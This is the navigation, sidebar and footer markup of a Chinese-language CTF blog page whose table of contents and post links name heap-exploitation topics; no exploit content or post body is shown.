class="pagination-post" id="pagination"><div class="prev-post pull-left"><a href="/2021/03/20/House%20of%20Spirit%E5%AD%A6%E4%B9%A0/"><img class="prev-cover" src="https://i.loli.net/2021/03/21/pB2PXv3LnAsYNMO.jpg" onerror="onerror=null;src='/img/404.jpg'" alt="cover of previous post"><div class="pagination-info"><div class="label">上一篇</div><div class="prev_info">House of Spirit学习</div></div></a></div><div class="next-post pull-right"><a href="/2021/02/07/ciscn_2019_es_2/"><img class="next-cover" src="https://i.loli.net/2021/03/21/y2xBT68QnRUC3O9.jpg" onerror="onerror=null;src='/img/404.jpg'" alt="cover of next post"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">ciscn_2019_es_2</div></div></a></div></nav><div class="relatedPosts"><div class="headline"><i class="fas fa-thumbs-up fa-fw"></i><span> 相关推荐</span></div><div class="relatedPosts-list"><div><a href="/2021/02/07/ciscn_2019_es_2/" title="ciscn_2019_es_2"><img class="cover" src="https://i.loli.net/2021/03/21/y2xBT68QnRUC3O9.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-02-07</div><div class="title">ciscn_2019_es_2</div></div></a></div><div><a href="/2021/03/22/BUUOJ刷题记录补档1/" title="BUUOJ刷题记录补档-1"><img class="cover" src="https://i.loli.net/2021/03/21/2lRt7MpyxaGS8u4.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-03-22</div><div class="title">BUUOJ刷题记录补档-1</div></div></a></div><div><a href="/2021/03/20/House of Spirit学习/" title="House of Spirit学习"><img class="cover" src="https://i.loli.net/2021/03/21/pB2PXv3LnAsYNMO.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-03-20</div><div class="title">House of Spirit学习</div></div></a></div><div><a href="/2021/01/25/get_started_3dsctf_2016/" title="get_started_3dsctf_2016"><img class="cover" src="https://i.loli.net/2021/03/21/FpLYGZ5oVaXI4s9.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-01-25</div><div class="title">get_started_3dsctf_2016</div></div></a></div><div><a href="/2021/03/28/Largebin attack学习/" title="Largebin attack学习"><img class="cover" src="https://i.loli.net/2021/03/21/mLYCNvXPnutGfBI.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-03-28</div><div class="title">Largebin attack学习</div></div></a></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="card-info-avatar is-center"><img class="avatar-img" src="http://p.ananas.chaoxing.com/star3/origin/e79248a96a8b9a9f4c51e2e7beaabc5c.png" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/><div class="author-info__name">1c3y</div><div class="author-info__description">Welcome</div></div><div class="card-info-data"><div class="card-info-data-item is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">7</div></a></div><div class="card-info-data-item is-center"><a href="/tags/"><div class="headline">标签</div><div class="length-num">3</div></a></div><div class="card-info-data-item is-center"><a href="/categories/"><div class="headline">分类</div><div class="length-num">2</div></a></div></div><a class="button--animated" id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/xxxxxx"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn card-announcement-animation"></i><span>公告</span></div><div class="announcement_content">This is my Blog</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9D%99%E6%80%81%E5%88%86%E6%9E%90"><span class="toc-number">1.</span> <span class="toc-text">静态分析</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AE%89%E5%85%A8%E6%A3%80%E6%9F%A5"><span class="toc-number">1.1.</span> <span class="toc-text">安全检查</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#IDA%E5%8F%8D%E6%B1%87%E7%BC%96%E5%88%86%E6%9E%90"><span class="toc-number">1.2.</span> <span class="toc-text">IDA反汇编分析</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%88%A9%E7%94%A8%E6%80%9D%E8%B7%AF"><span class="toc-number">2.</span> <span class="toc-text">利用思路</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%88%A9%E7%94%A8%E8%BF%87%E7%A8%8B"><span class="toc-number">3.</span> <span class="toc-text">利用过程</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%94%B3%E8%AF%B7%E5%9B%9B%E4%B8%AA%E5%A0%86%E5%9D%97"><span class="toc-number">3.1.</span> <span class="toc-text">申请四个堆块</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%A9%E7%94%A8off-by-one"><span class="toc-number">3.2.</span> <span class="toc-text">利用off-by-one</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%B3%84%E9%9C%B2main-arena%EF%BC%8C%E5%BE%97%E5%88%B0libc-base"><span class="toc-number">3.3.</span> <span class="toc-text">泄露main_arena，得到libc base</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8A%AB%E6%8C%81malloc"><span class="toc-number">3.4.</span> <span class="toc-text">劫持malloc</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%8C%E6%95%B4exp"><span class="toc-number">4.</span> <span class="toc-text">完整exp</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2021/03/28/Largebin%20attack%E5%AD%A6%E4%B9%A0/" title="Largebin attack学习"><img src="https://i.loli.net/2021/03/21/mLYCNvXPnutGfBI.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Largebin attack学习"/></a><div class="content"><a class="title" href="/2021/03/28/Largebin%20attack%E5%AD%A6%E4%B9%A0/" title="Largebin attack学习">Largebin attack学习</a><time datetime="2021-03-28T06:10:00.000Z" title="发表于 2021-03-28 14:10:00">2021-03-28</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/03/22/BUUOJ%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E8%A1%A5%E6%A1%A31/" title="BUUOJ刷题记录补档-1"><img src="https://i.loli.net/2021/03/21/2lRt7MpyxaGS8u4.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="BUUOJ刷题记录补档-1"/></a><div class="content"><a class="title" href="/2021/03/22/BUUOJ%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E8%A1%A5%E6%A1%A31/" title="BUUOJ刷题记录补档-1">BUUOJ刷题记录补档-1</a><time datetime="2021-03-22T13:19:00.000Z" title="发表于 2021-03-22 21:19:00">2021-03-22</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/03/20/House%20of%20Spirit%E5%AD%A6%E4%B9%A0/" title="House of Spirit学习"><img src="https://i.loli.net/2021/03/21/pB2PXv3LnAsYNMO.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="House of Spirit学习"/></a><div class="content"><a class="title" href="/2021/03/20/House%20of%20Spirit%E5%AD%A6%E4%B9%A0/" title="House of Spirit学习">House of Spirit学习</a><time datetime="2021-03-20T06:49:00.000Z" title="发表于 2021-03-20 14:49:00">2021-03-20</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/03/14/%5BV&amp;N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/" title="V&amp;N2020 公开赛 simpleHeap"><img src="https://i.loli.net/2021/03/21/1WR5tiS8lsc9wXb.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="V&amp;N2020 公开赛 simpleHeap"/></a><div class="content"><a class="title" href="/2021/03/14/%5BV&amp;N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/" title="V&amp;N2020 公开赛 simpleHeap">V&amp;N2020 公开赛 simpleHeap</a><time datetime="2021-03-14T01:27:00.000Z" title="发表于 2021-03-14 09:27:00">2021-03-14</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2021/02/07/ciscn_2019_es_2/" title="ciscn_2019_es_2"><img src="https://i.loli.net/2021/03/21/y2xBT68QnRUC3O9.jpg" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="ciscn_2019_es_2"/></a><div class="content"><a class="title" href="/2021/02/07/ciscn_2019_es_2/" title="ciscn_2019_es_2">ciscn_2019_es_2</a><time datetime="2021-02-07T06:59:00.000Z" title="发表于 2021-02-07 14:59:00">2021-02-07</time></div></div></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">&copy;2020 - 2021 By 1c3y</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="readmode" type="button" title="阅读模式"><i class="fas fa-book-open"></i></button><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button class="close" id="mobile-toc-button" type="button" title="目录"><i class="fas fa-list-ul"></i></button><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><div class="js-pjax"></div><script defer="defer" id="fluttering_ribbon" mobile="true" src="https://cdn.jsdelivr.net/npm/butterfly-extsrc@1/dist/canvas-fluttering-ribbon.min.js"></script><script async data-pjax src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script></div></body></html>